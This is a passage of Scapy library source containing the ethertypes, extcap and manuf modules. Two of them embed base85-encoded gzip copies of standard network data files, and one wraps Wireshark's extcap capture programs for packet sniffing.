TTtav__kMjhfXiC%LaOAbmwVbj&jba85f%6kW&Xs^pTYL&Gd#ahc29^&BHBr20S!D!-^Z1)MmW>m>v_ k6(jcTu1%>1F$sxZX{I1Hak7p#kBaT>Z|QSQz3NnDw9x ye`(S_^N>{mC-wMiTl)vZe3q^18TE_WiQ3E-lr&S(c?VMm)M%3KSK 7#Rwp+Hd@5FAuH^Kv;iZ0}Hs=Pw`?d)$XNHhe69{`9_PrwtEJsC^ggm;xAAz#%jpvXA;MgWWs)s9~&n @+T+fwRJ~?XBTT-aGt0AV=?t{E%)BoXe!b7j#CnBCf!XKBk+ZFs*UTz_D#U)VU&Mk?2w?dyXT?#c%1D f}bF*zsAPfoPdnyQ8~MRScSMhPZO=(9S<{+4f2t$VeHH;w!jD9W?&WaL4-Yu%zG3|6a=;YN{{1x(pPt Fdg;ZgCT=dB2ZWSTm~GoWDYnOgKfwuBy71=tfHV4wAatjBH0L1!G5#0FGLqhxT+{fq6Pnx^U(7cN&Dt=H;qHi0YGcH{BeKxr@c(Jw6X6s&4A|Ym3gby8X;<{tN1MX!e~*JS(cV&O#^*&Y {c8#>*uPXLVdjX6?E*b#hcmo0UYhg%IX>!&kCT?34wi-o$ZFxbh&dgNdXzXqZ-9+MmaB!t%1r)SpYOD $)C{L@b*U#NX?gw9CKNSz>AW^Bm6Pfb7t!Un9(?;C}|geab=Xj*C$RnD5LQ|b-FIywa<^lcF9WOQ@*Gs=yXPy5@H$Aj`Yn 1pAWn1J`})!677uxDNgsun0Hfy-7B(4N$H7w9G+8#V*sb58{mqLDTN(~~4*x8woMa(xN!Nh^Z(N$w#< N)7GP3^$57j@9qNi9_-!)4i=``PgEVuS~@TbToUq#97^FK`PzNf@MB^3FqXQwu9p;b6^gDeBK7rfQOM E9`x`2_u#XQrUTna*-+}E?K)`u5uPEFvmL+ycalfaZg>H)Gbz=|RCMeFz&fYLmQFhGoYSMzm<1xIayF <)r#ktbOG|F#`#h}+7-tL 6{Wb7WyF=APK@{@%?+M-@_j&0nf$o^Nl-&^|#J_yWQ7{1jxa?*1pg8<)?uz&9^bq80Wghb}6W&sGzo;&HBL8g !JN4!bV&x&Nw#x0WKMqW#pmL*JwtQJoD#yV*iciBHrVa(j%6Gg2O&-;=C$t4x*$MP2D?<57h1j1yb|^cZ%}hWl) @HJ+YB)qz4L;i52iztPjJm{ktt){YG8s*sl_K(Y2JL8<6b}G`E9re_z;UBFLj3?AHkBl7rJq*Uu5dPH q>G|p7RIvs0gj%L~jKjWJ`9hZfn^9uK=D5NRFaX8*TgE7}3N-&8F=nif^MkR|^~r%8ATg(|RjJWA^B3 H~z?ttD^f;a5yc>HKe%1ooQPfz*NrF=5b;qfJ!+D1~G>h2>5FMP7m8rZn3UGBjdIB!T;o>vZP>iKiwO 83@DLm1)^zo-opnaGE`dvwW7Kwz9OqYrRND1*JJMj7gG1dty`G!=7QM(Rx>{}fp;Jwm6!4qAH=?O3Fr @{DeUa3AVLQDrj{PZ|Np-R8L}9wRjo?{jsE~%nN!^z7nsQ2hsTcp4mxB)MWSRXJ0r%X@9ll`OL>Om5C%WJ_`wVAlNq|6+ w0cnOQTtNF>Mk=U_nCr%dT8(@Fw!5$fSb+(&wP>tX8grivlpv$K6t@r_*(ZL4KUj+p8Xy`Z?!Tp!Y0G `);!#JJoAl)@r2%_;F07bWWWdz>huFtI$>LeE1S#wfocP0I-iku@2wbHUql*xJblx@c!si;^NPi!v+v !??ca{^u|+4szaRPwq6pLkki5`vIqas+}vZh;5XSv1()u!?S7*>$x(f*?5SrnkDz}+d4&AXG%YlL;z) $P6VV0ZahilP=Tad=ulzWvevDj{->LJppA6D9mF}hs(Pnjr`Ykathz(!0Vi=KVCyZ{s@{`3Ss4>uNn$ `x#HZQG|cB^4iw|~_6uG5lh03Ip1uu-Ou=tk&3den_JtXu8e2QMeF@@j(Kc=nSI`Y8K4o(v%yyUN-R` z;v-lUxSsQCEvb-}%T_b*kMLFa22IYpzkLny;n(G%LiXa$WPkd1V!^Gs##^XF<>0Sg=}W1!LY2wbK2O0;4}u*Nz55*KpNFvu%fp=e6M%UKpVx5 ;@XJT1J`I)pBLf%OjjG7O>Dn~&|$XD8bpgbaox_+1GJ-tkv3^Kn-Xl+0n{3+x dclv90r$-ExT?(c$N(kupO@hguMCsIox6$P@P2#{l}*2wL2D0BV|=*O*uGN(ZYZ=N+<#1HZG9V;6c$B @Il2>{(qo-^C*Nw8<+Mf1jmC_as|-YN-@7(*Ggoa&rR3hPM(RaLC0sh8h}&**wp;_;J}`&p5(z%;x{#UATLhp-_q 7VfV+5G5O(0C{{*;2HOp2sr9XJ1lq?c`3dIw7tt`bq)Y4<~sDLXT-VP0^3`E6;;wY#JPnie@W!UsY%9 $KM743H0G_E#RQypgb$mCyVJOX)ri-1F>w)|Hyaogy=L3bDa_m%gUjC*fo4j;HcXt=G%6y =Loxb-(!QqxH@}VO)q@RLWgO9CJ$M7uA2R9n+C*Y7L1tJCDcM1?MwpK7Lbo@7xb4jEny5EJo@T8m@||Ktj;m#pSy&P&sPH*SzKY%PDU>-|1 eDTTi!|tnYCoInGH~wq)@LBFtQP50#rm&i3o|kyW{laCjxV@~`#oOVSHm_fDV #(_R4sGFfDG8mHeDbl@aaf%v&n7W&&Cx4cLxx`Kfc#d|4;r4Zu2jR2xWE6znYjv(Qd8dlSVSX%&d9MC %83z5WY{nV%uB$g59Fywi*+#i9JE%VWiX9_Kr2h-Q-?7hvCTx_T8Q;p*V qlRtpxwb0!E$+611C%%_g_^I)rYuN{juvY?Feq>2l$#fIdBNZET&g!tc)!w(11m%%I#34pVi?)t2>=o &!6F=wBQLyP%;uqsREK8sV%`+aI1}pzt^Mj}PrDq!N1UsLP`&?J<=f6AHqK|s*w&+3bi<8-mn#3rJQ} vhb(-~2^JeUWyfI~ThnCuA`zm=#EwpCbZz`%WU8Q{b6RfgIJ@EtNvud|au+gvv8!@iyT)B66kZgDNit 41)1w_M;Zw!cZW^;ET&6nn1ma-faxx-CE)2HE}<-Yx)!@}oApO+temelkE0r Cipg5***5hx4~63;*NcrI|jaN09e#o(j%iabNLZavth|`es6_Te&s+x3JD-S!~kt^aM81QDc{8@34-q Zj5T|cBWax?z!t$N!mP^PG-Gm49?*>Fb;r+H8p>`Xm|I*Kbw-=!@q(>uP!Y`60kQutVi@$MQImT-~>R !k=!kv9wlH5)r26I+tHY~m2!#4f5^pzkye1s?A)UN#IwSwsLsvx-!KEhc=6)VL^j%8 #m-nXEQWSl7i@e=+5YYNV&yIP1h MvtkrLKi}r`#79Lz;ag`(hpkTliDCZ4ob7R3ep{YvS+=8Zt4c;vC{=7or(-u&cJxS&f{Ju@tK^6C7Ca H2@UKWRKghDZdd}x+Pd+O>h~em%RTIdhAwwA3Ef0xsXsgth7yHe;$!v!a+rVCUOM4-l@%k&A|6myFoJ Sl`<_8v29F(Pp~A&*?+3Dv&!cnlbw119FqpeaGXSwXgWw1Vd#d?05J?c4BWaN_sXu^YA+JXDh+O_{oV tvLkItE7Aix`V~26xBC#OYwDx{P-POQCL)hD(aib455Di|%mb$vNmTCsG<}}M{41)7|=G+FZCZ)O;s@ mi(7S|#&|@<{oOJJ!h `{R0Av+0}krtF{Uzri6g!<-h>53kH0sNhno7*j|rb*5f-n9vjkhD9m8KqXO8{lGUhyw Rv@{d0P?=!_OH!4jfMa8eIpKsaDA6K9T>DWrI#fJ<@%&U%iIchI3&9{xRO;*(_-2QFmd`Aqgo2y3OwF 1Ep%)H)Z`1%+@7^z)_HnV=wzfZ1kOYgxEOGPFG2{krK%RMw;_#g}z={=E+V8Wj#j{8Q%bDda7gv>mw^ O+-yl`KgkxsE@#-S((k`Rp=F^o%8=W3%)*Q9LZz6rxYPj4>X)H1PiWhOpZy}6z!%VWD68mntwpOoA|k ~+=PN~gWvW2zY`y=EMs8rtA?VeGPB5Fc|O;ZJ%RO`lw*IjfzsS8g=wUt$&P7lbS76A<1Xx8J?6QpQpG r>zvZZgf*MU5v{U-+9`9^n--`ed8vm{j_OkMvQEIF;Smv&Bdli<8Rz{u~#;^+e^W%Am{7GQG5HEi1T% |Mtk?QDAw+~%I?6ZpPZ(fO~2!chrhkLy4HuW{`2BRqJ)-jVYlpH>Yckm=IlU?lufOt9v*MlE@S4hLX+ m>3wcVphX>s9lXVVN+dt+uqzDa>Y?Xqs^Vzmt&$GJvmr5Mtv7MB>pdYjnPJ0U*_+%)=dm&oI68iTaCP WETTPCO38{Hy-#IqY#;w&pxUGe7jmNe;0=&n;2?K@Fob_bI=;Wb(rCoZ7dtf~AbUTu`$_50KTMD;Z#B 6ZoWn+!4CCX@)_Xu6Ic^v_0G*<46|*d!e^2o6=fB+tb4E<5o=Uc+}HI}HbN1DSYntO8S(vR-MMyNR^m _qzKMJML`L7AgJJ$R>ef)oEW7UJEAgPxvy<7KL;)rKMp`O<=Z5C@5Sn5rhBbT;X+KFF)AET x!%&z%{OjSC^R-&=Wl-2Zq{~yy9_<+LQ0RR """) ================================================ FILE: scapy/libs/ethertypes.py ================================================ # SPDX-License-Identifier: BSD-3-Clause # This file is part of Scapy # See https://scapy.net/ for more information """ /* * Copyright (c) 1982, 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_ether.h 8.1 (Berkeley) 6/10/93 */ """ # To quote Python's get-pip: # Hi There! # # You may be wondering what this giant blob of binary data here is, you might # even be worried that we're up to something nefarious (good for you for being # paranoid!). This is a base85 encoding of a zip file, this zip file contains # a version of '/etc/ethertypes', generated from OpenBSD's own copy, so that # we are able to use it when not available on your OS. # This file is automatically generated using # scapy/tools/generate_ethertypes.py import gzip from base64 import b85decode def _d(x: str) -> str: return gzip.decompress( b85decode(x.replace("\n", "")) ).decode() DATA = _d(""" ABzY8N|hyM0{^91ZExbZ7XI#Eaioz}AWb2>6zJa3jGPeKXcNeglyY@-KbXWoE+IxqXv@Ffm=n6^CHTV6)&I=xJ;}8aq!6UL>!9?$pv `GMJXbYp80SsD}m)4js=fFWN&Z9pC^&;iWd2T;Oc#8Qj`#hV;aMX!&)3O3HkNH4X`cC!>{f3)6-KcVH s4Z)J<;u$39a{5P2SVhR?&?j@145>yMs!3G@=R9R6kif=#Vs(Z_r%4vh)K<>Hq+ <<{$+8p6phA&wP968%zdMFDXfV{VP|&lZX{1Sy0z`Z)r!Lrsw6wsVMpW? HK2ltJ-jLqx0sNmFysrtOQHs2a&&|tz=2rn|GRIdZ)S?i&94$))<;o{#?SHIG~#@{`Oxho^)8Z*Xts+ >08!2bkEWTZVwAL^809Umhnh-p#34`C5KFu7+M?bN<8PW&e(6(>3vI 0^nSOmOLV#1WJMBznTlw4ISAr-uKC_)eM`&ZWNVS{&wla*c6)G>vc$%3CL3_+lz20L{GM;1_te<703i ?`_lI^WSS$(VmP*k51VPUC0-X?v44uu1t2PkH(*J-3Atb2f5W%>Y0p*g=mT&CA#?gLQG nOiHyYraJt+m~t@zxV%GtwEUqJ4&4M%5Y*%gLH0kL?>Di_?FQ|Df#>3p6Bv4y1YER~}7d5RxDen3MKl %l=PF){8TwVCUY`Z+8}O1S7f+~F(R&tk6?D(gdM{$> Rn<4K#*sUiR>aI8mom)CpaNUWnS0o#jeZ};RS_A`+dJ44vVVpi_s9>i;mNIOV_R?23er;;32udbPPYetAO)8EQ`17Gf7XE xTR#~jS#DYC0ZV@}Ed*NEwwe3d~neYn)M>#>D8)Mv#ZOs&hfi8v?oJXQkPgv{a;n8C$T7-sS&5nVt64 3CMka!ezgMt}S4aQ?-&d7Ld*IqOCeMV{6fJ^!pV>J`AX&IdMSxL9KXbeelAWJWK~Z;XWKC==mrL15*J%=!MU$A biCg29HoDTYBRLpzO|C_&2yd7U9S8d x8u6XzCe5C^HBn#8;J{Mv?fHQZ~T0kKTOV#{)L7MZw?8Zw=}F6I|`@;_cB9iCQFa!km^)NMjV)0p5O0 It9Wbs6j~N)eT^HLjgRUss%_=PMf&%F;P9u*ST~6hdA9j;chuibd1ImYp4qN$S!Ng6a)JBa`D>F0hdWe=uaEi`5|7^7xoyzQiLf)I5b|i7iBxP(mEZtL^N^HVfqK C4iRV~;jg|flR!@$t_-A~S5(GomD)aR0p%!kR2I@NomVW!P0cT<_uPI-J%$u+d+}VRdhdoI{H!^yy9* dz!#na_nk$k`1Y>R9-RYf3VA$lCJ?Ts%S*%w&BF4{>)YAMz+=w *xr_asB;yN6Dpn6q|b=dIZJd|iQBr*L^VHN1f55%`jsx>}L6 }0SC;Q_b9$A{i@cIQy_4UqIdGU$?!ejC~XT@GkQ5paM """) ================================================ FILE: scapy/libs/extcap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Wireshark extcap API utils https://www.wireshark.org/docs/wsdg_html_chunked/ChCaptureExtcap.html """ import collections import functools import pathlib import re import subprocess from scapy.config import conf from scapy.consts import WINDOWS from scapy.data import MTU from scapy.error import warning from scapy.interfaces import ( network_name, resolve_iface, InterfaceProvider, NetworkInterface, ) from scapy.packet import Packet from scapy.supersocket import SuperSocket from scapy.utils import PcapReader, _create_fifo, _open_fifo # Typing from typing import ( cast, Any, Dict, List, NoReturn, Optional, Tuple, Type, Union, ) def _extcap_call(prog: str, args: List[str], format: Dict[str, List[str]], ) -> Dict[str, List[Tuple[str, ...]]]: """ Function used to call a program using the extcap format, then parse the results """ p = subprocess.Popen( [prog] + args, # On Windows, we must be in the Wireshark/ folder. cwd=pathlib.Path(prog).parent.parent, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) data, err = p.communicate() if p.returncode != 0: raise OSError("%s returned with error code %s: %s" % (prog, p.returncode, err)) res = collections.defaultdict(list) for ifa in data.split("\n"): ifa = ifa.strip() for keyword, values in format.items(): if not ifa.startswith(keyword): continue def _match(val: str, ifa: str) -> str: m = re.search(r"{%s=([^}]*)}" % val, ifa) if m: return m.group(1) return "" res[keyword].append( tuple( [_match(val, ifa) for val in values] ) ) break return cast(Dict[str, List[Tuple[str, ...]]], res) class _ExtcapNetworkInterface(NetworkInterface): """ Extcap NetworkInterface """ def get_extcap_config(self) -> Dict[str, Tuple[str, ...]]: """ Return a list of available configuration options on an extcap interface """ return _extcap_call( self.provider.cmdprog, # type: ignore ["--extcap-interface", self.network_name, "--extcap-config"], { "arg": ["number", "call", "display", "default", "required"], "value": ["arg", "value", "display", "default"], }, ) def get_extcap_cmd(self, **kwarg: Dict[str, str]) -> List[str]: """ Return the extcap command line options """ cmds = [] for x in self.get_extcap_config()["arg"]: key = x[1].strip("-").replace("-", "_") if key in kwarg: # Apply argument cmds += [x[1], str(kwarg[key])] else: # Apply default if x[4] == "true": # required raise ValueError( "Missing required argument: '%s' on iface %s." % ( key, self.network_name, ) ) elif not x[3] or x[3] == "false": # no default (or false) continue if x[3] == "true": cmds += [x[1]] else: cmds += [x[1], x[3]] return cmds class _ExtcapSocket(SuperSocket): """ Read packets at layer 2 using an extcap command """ nonblocking_socket = True @staticmethod def select(sockets: List[SuperSocket], remain: Optional[float] = None) -> List[SuperSocket]: return sockets def __init__(self, *_: Any, **kwarg: Any) -> None: cmdprog = kwarg.pop("cmdprog") iface = kwarg.pop("iface", None) if iface is None: raise NameError("Must select an interface for a extcap socket !") iface = resolve_iface(iface) if not isinstance(iface, _ExtcapNetworkInterface): raise ValueError("Interface should be an _ExtcapNetworkInterface") args = iface.get_extcap_cmd(**kwarg) iface = network_name(iface) self.outs = None # extcap sockets can't write # open fifo fifo, fd = _create_fifo() args = ["--extcap-interface", iface, "--capture", "--fifo", fifo] + args self.proc = subprocess.Popen( [cmdprog] + args, ) self.fd = _open_fifo(fd) self.reader = PcapReader(self.fd) # type: ignore self.ins = self.reader # type: ignore def recv(self, x: int = MTU, **kwargs: Any) -> Packet: return self.reader.recv(x, **kwargs) def close(self) -> None: self.proc.kill() self.proc.wait(timeout=2) SuperSocket.close(self) self.fd.close() class _ExtcapInterfaceProvider(InterfaceProvider): """ Interface provider made to hook on a extcap binary """ headers = ("Index", "Name", "Address") header_sort = 1 def __init__(self, *args: Any, **kwargs: Any) -> None: self.cmdprog = kwargs.pop("cmdprog") super(_ExtcapInterfaceProvider, self).__init__(*args, **kwargs) def load(self) -> Dict[str, NetworkInterface]: data: Dict[str, NetworkInterface] = {} try: interfaces = _extcap_call( self.cmdprog, ["--extcap-interfaces"], {"interface": ["value", "display"]}, )["interface"] except OSError as ex: warning( "extcap %s failed to load: %s", self.name, str(ex).strip().split("\n")[-1] ) return {} for netw_name, name in interfaces: _index = re.search(r".*(\d+)", name) if _index: index = int(_index.group(1)) + 100 else: index = 100 if_data = { "name": name, "network_name": netw_name, "description": name, "index": index, } data[netw_name] = _ExtcapNetworkInterface(self, if_data) return data def _l2listen(self, _: Any) -> Type[SuperSocket]: return functools.partial(_ExtcapSocket, cmdprog=self.cmdprog) # type: ignore def _l3socket(self, *_: Any) -> NoReturn: raise ValueError("Only sniffing is available for an extcap provider !") _l2socket = _l3socket # type: ignore def _is_valid(self, dev: NetworkInterface) -> bool: return True def _format(self, dev: NetworkInterface, **kwargs: Any ) -> Tuple[Union[str, List[str]], ...]: """Returns a tuple of the elements used by show()""" return (str(dev.index), dev.name, dev.network_name) def load_extcap() -> None: """ Load extcap folder from wireshark and populate Scapy's providers. Additional interfaces should appear in conf.ifaces. """ if WINDOWS: pattern = re.compile(r"^[^.]+(?:\.bat|\.exe)?$") else: pattern = re.compile(r"^[^.]+(?:\.sh)?$") for fld in conf.prog.extcap_folders: root = pathlib.Path(fld) for _cmdprog in root.glob("*"): if not _cmdprog.is_file() or not pattern.match(_cmdprog.name): continue cmdprog = str((root / _cmdprog).absolute()) # success provname = pathlib.Path(cmdprog).name.rsplit(".", 1)[0] class _prov(_ExtcapInterfaceProvider): name = provname conf.ifaces.register_provider( functools.partial(_prov, cmdprog=cmdprog) # type: ignore ) ================================================ FILE: scapy/libs/manuf.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ # manuf - Ethernet vendor codes, and well-known MAC addresses # # Laurent Deniel # # Wireshark - Network traffic analyzer # By Gerald Combs # Copyright 1998 Gerald Combs # # The data below has been assembled from the following sources: # # The IEEE public OUI listings available from: # # # # # # # Michael Patton's "Ethernet Codes Master Page" available from: # # Many people contributed to Michael's list. See the "Acknowledgements" # section on that page for a complete list. # # This is Wireshark 'manuf' file, which started out as a subset of Michael # Patton's list and grew from there. The Wireshark list and Michael's list # were merged in 2016. # # In the event of data set collisions the Wireshark entries have been given # precedence, followed by Michael Patton's, followed by the IEEE. # # This file was generated. Its canonical location is # https://www.wireshark.org/download/automated/data/manuf """ # To quote Python's get-pip: # Hi There! # # You may be wondering what this giant blob of binary data here is, you might # even be worried that we're up to something nefarious (good for you for being # paranoid!). This is a base85 encoding of a zip file, this zip file contains # a copy of Wireshark's 'manuf' file, so that we are able to use it when not # available on your OS. # This file is automatically generated using # scapy/tools/generate_manuf.py import gzip from base64 import b85decode def _d(x: str) -> str: return gzip.decompress( b85decode(x.replace("\n", "")) ).decode() DATA = _d(""" ABzY8x|Sto0{^7F+hXH5lJ|LC`xLmUuX?uZE*~Uk?$uHfWvgu2E>n4`tA!<4LYpGhJUFdOWY!Lt gj36m@dcNuDnfkc^@q|MFh=0T%fBZjx!2b&TpI`nUfBEI^=}9lOOw+yis*3#eckx(P!u)IekI<#q=7k c=e7nuF|I61tX@1Yv<1o&PU0%paHx*9bTjA`z70%yVVesAx!}nIWcyEOd@2&9hy%nOS!rivWvxTgbF0 }*UNyMpIR^|_SS(+a?#>%6n@?2Jhe&x_}xp7lttjlH2A=#Ie+LphIS+>L)lcvU0Kl*!Ma8s?q9mS+{{ V!dWHHRC$)s|NjwpO6ld>?`%mftDm);WjU}s!%CBR{;N%s>BMUE6lPdQ_8-v1qHEC %T1Q2`Fh`agcH&)#&WA(8DODv`keMdzB0gaqzg=BC3m^bDh}OmdP2Ivq`uFy>R!K^$21^-ghT&r!)qd a;jWO&R58F(qyv0WkLDMOalYNv2*Q&4ht7SGz7XwpsaC7WK9gGnVF?=0EHl55*}5{t+N5JdbJ7T-)r- uQrutkji(E|9i(WS0azsD=i%L@lyh)M1Ff#uVKe2`8gX`wUC-hT4ruN%$pdBb&hxCbsN=scLQeA_XC{nE$cSNQ+iIy<%>JY14=q 0hRkrGJ?oXz!snO1e(;_!wRTK=V>U%O&?py3;t%GV{`+l7NWtlbwvseb9 J#aot(oi#m7D){UTn=Y%Z4@ovFftK-#yO))}8;pgBCKGOrPYrNWGrJ&o&(^pj)M*nkjZQH-o2ng${(Hvek0VNY5FUrTIu@0Qh9s)wLKS~ZgHx$uExp#v)fu0(q uV^#qm@zxG0}wo~BQ_+Tv2IfC&`LnSc1Ej^p7JTv<-TNqrDzY)ra3Gt23TxLttWGX{ss`(&7S|!nzxt kg#_TGNr#v%6^HJdJEz@1Rc0QV%S^772jOU|jM+juU$_|Q8Fu>j6N>{f&0u*tQAqQ1sWWpL=($7E6{e ;=M#ge4&AYT9kd&VZ`8;?|`odkRUsP3TV|G>n1kgrA#t?1h_;b=BZp{lew!|zmb031RRKrW*1N=GZ6N %E#dAuv(TR9MpdY+IOX68on${BSYf>Gy2Fswxlvej~&uatS$=>k9?(V3pz>4-Lr6fBVd!qQ#%W~8s&# x3Z17}8HBOU&F?PrZ3D-K_#M&(3w-FMxg!QxkaV8Jd{w1asxbG{fWJG96W3tCetN6R(o6whLJ$y ` |y4RzeNaOdJSLSdw&@**Lnrokh3NMC}}ymSxZ^!gjK#V1U9}bi%34Jf3fJXem`8R_eRlTYC(lWu0Ly(t}2InqFmY*>6EyWrFSk_$djilAbgIE6&gT4$u-14|#58 G3dQmk94eW`E$OO-{nNFbpQcWnJ@On>Uucnn0uEBj6^i|EZN`aR3#m4Ayd;UOAdXj$|3D=`BU{@589g g7Q}xEKwg1%wY*f@yw1!#lQj@*C9Lt0E$d8&T)7YEq4fdDLSY!S#x%Q6k(IxY7nqf1E@l0BIHJarHEk }P(d$55daD=9(@s)3wQ?dY0v9GjHXI2 Vu!SK32J4GpZ_f8(At2Jx@X!yIG7>a?7FhH9ofcZnfbsg9dM}(Nv1)woWFoXNp)S*V0&hl!%Q!wcUI09FK7>GR=lif3@PS%kwfPL0su*B7YJ15H*RTkrS$r 7MCD>YSR8jrl(ES1*NVm8$bCYQ|4A^-0f%Jw^kuT*+xq;k6`wN7X-pv?)fldW-5BrY{dPb}d5#RRQ&pvQdtErLcZQ!W1??yEhqa6YivWWU3`$pG}(*hX0TnAhgZn ~OCNF3slP4^wLH?yHURkA>jNef*=fu6EX716YnuBU#ZL?;vy=&c{W>}=s#D>iK5(Nj9o9X^u2Gcn^-JRdh83}HF C#Z}~G2}isfdfqSTDf8-;0c#5%N&k3QhL#G@wA*GZ{5a}86`QeBF}A*-`@$c`)c8xcbDhFY;@E;PbOh LJG+?y}U2HGw(iPASd~uzv``$y$K2EARB*#&B5mP$LDP!V)Q);j(9=_oquEC=j%U04pd&AawtCf24M$jtFs7}fxq&(yMGq5+-Js!IFWKS1(ug GGn`(Q7kl)xN!Z^VOO%bq%gcY{?YbZV}jRpB-lJ+Q4t`W9n4xt66gKWf+W2+i1M+A~&~GLz&{6@`S=egL- iCs!NMO|)$FAXnbXH*jPK8-MHYcSL8W)R^jSSJ;C)FUF#$eDmbRE(93#ErLgM?@Vva=UH;-v5-fkZ^b LUm9Ktsa=>>?kLjo}YIy@Znq_IVPjUhRR^RrMo7+8Rw>oT1>2uf;dQc9IED2l)U>!P9&Cr% mCy76swS~^ziL2iDwM>TZ-%uZ{zTYDa6tvv+xPKX&h{)4(}fP+S6w~`RZ #!~wej!%Ae+hN@AFLTc-?{_$##vh#lP(j71(b)@i@u;cI{KAE&og|WLsONP&AP$B!OuxLNxZGou*vPA=Q`1QpLx {UIZHNj`5dPXjx4ngA+YM0nzdOO)@UBuU4A@aYbUK%FxZybgK*>ybICes9P{Ps%6H)g=qx;*(&n{SrC -4~5V)SYoE0oI&I&C{bwWDLe O)LV_$;_Z7kz+1YqD5px%m_`3cX%hlOerKw%pw4Oa%~@uJUx%7$6fm$H1XMURRrOo;F~-8Gp<<*!<<3cueOfOg54p34+^#et7_@hM %1s3Q2}0q|uRyTlpav|Za*G1mmVyI|OuX$F}1oK`-yW27<_0o;hGT-&eU^2EN4=^lb!Z<{kn2c(0=bR &9ax~shpGcj8bp3EzDdt=@(#>({Q#Vk+ZJj?FI0|=nLMNCYmoaM5DzTh@REF3zikExqkXoS-#>B{Pkk)r(D+M##kZaoPc+xFwcG5HiM}Tfc=O&(@j)aGQhGE?%I$tz(R3nc{edL&-#~USz#zc |A%lNq_k3FYn^sqEr$@Ix i3J89RV9WjK`A<#YtcgtN8b-@)o~;sTiXjL~?F$V%p2PNA2hU+kWzQmfdO?p?&17<|)GjuC*@6HPu|3 E!wkGs7G7d~X&|9^3a{TXF?+}C~>zdT_5kArpG3*~V(6eJbjam)6lxw@I8=zwtk}b9=JKX`7jNddit)a+jwXrnm3YnD%|H~2mq)_6fOz4-HrE;s<_b(gs1G8-{YA1-k7$wkSXk&IuMR%g$dscTJ1A6iEfer0w`itVrB`#J-B T}14lq@W97KjZj}S!X{9BrbV mIi_h!s0IkX4N6DEndhB;?pErHB|@MH$C^}gGZs7@w+g^gVEvN`lzk#9kl;Mr`=C>MNFn3%&K48@mb1ME} RzI%QdU)dvj9JYWV;srUbfgAsxAMEsomWrKI?ccZJ2myz7=R7*nJFhsJ9A&Cr8W)EelvtO?wFo^j>F* zK xq&Zf@ObH3E#&{~N8`qA-$3KGf5NmhclYrvejy8uyoDa2pD;B|oc $}`e^HMN_zNdJZ8Dv4pyi?-$4Z%K0wU39j#Ua=Kh6Kc+H}J?zKL(+1&7WXqAmr6e97^Az`+|0XhK~ix B1F@!+U6-@|`d_&Heb^wC2oyb^`*5-WV0seAn4V$rU_rfR=md7+r@?n7jstWVKcH6CyMp^ve8>?O1pS e8MC)qr6;h61A)gvsShsJnehT$P=crnHb|wRX;}aSp(uo7{ywwUzS4 mJ7h4EteCfv$+RlD%u GasGUG}cuttuCfTUem^;q&@$lBbM`bsoOmb*lhI&Wq?;Ki1={b%rmx({MU_kGJu5-XG14P=(+=K8Gjj %Y=IGfeeV_tm8i!^`$T6M++D#J<4j1c^T5W1g|YH_S4^}ewBVF$tz7Cn8R5d4H`Z+^1I`Oo;hoG``B7 oFj{o&xLS=WJCaKY?a{)!g>?hA$4}GGrL1#K^P(%CY^;0mD7Bg-G-6?v>v}x>VUH {uQlV)v>>Xcxzwqw&_=TG)=)u3HE~v|t?2+zJV3v_N%b^dl4`ph0rDVJN)r{!jrrH^IKTrQ2lRYoDz3 Ran{((XK49K(Tk}qx;qKwka-C{wrn*qy&3{+szYLbu@tBE(PPn{gUw)S_ibJa%P+g6mH=V}a1M&3u=c TOI?uM~4=|)NO-7NIHim0n#-`ssd#U`+enarDoJ>CvbAB Qz4I%w{ZCGOIYym-bFy=o2Qc8L6@&AqdK<lT09_>Cb>+4V8t8r_rj}U-&kX=~Iux8 HPnbyNO6SkoA2m1-@o{|IcZCl$dO{`9vO(ynLEWQa*S*rOc8WltD<(x74pquTsm7CP1S~~e(~Ol;jW> G7fPcF&mCU{_^DJY4#aR4|0)kN3!!8E&XJh8(_MGaBL(hwu(z84>?Qx(6ELG3MNgQt<)oP_y34lQIt; kGeYt!6S@xO2^VS*Za{Ndf2{aHxATk{Fi)wq9sBh6}`LAxtbVNJAME*W5%^VWjlZf6yM47%^@V!-99G ILWbLVF{Uy+A5^sW7Zd&~h2O_Eeu GnaZ-qgU^Eqq6m?7WR)_#bVEH9+li&!B$La-u~LW6AEGiLe{M;?HHOh%R{EWxunaC%cGc%>@>pP4M;Yxn9B2iU%orTJt_)qS2RUC8fLVT;Xc0Z&l)uC9)u$-N{{~Ql}a@3qgm)1jH#>!oUVi47D9Kxq>7qrWh@%3;(@&$ DyvDh&vOb#b1XyyFMWH6C*D=dftyJ9hQ&uVhrG(tTfPp$Nkgj=^SjI*_jT&lDjvvMg@1yNEQZFeITrW u#8${VjX|ok`8m^$YHWV8#s}tzrnkOrIpA&UBUAqCL}`CI?SP(6V-3<(qUWq{>K?}$;EZs7>2Z%(DEnm9?CBU=N91_i3Gc~Ei%!W9O-92L{dvL 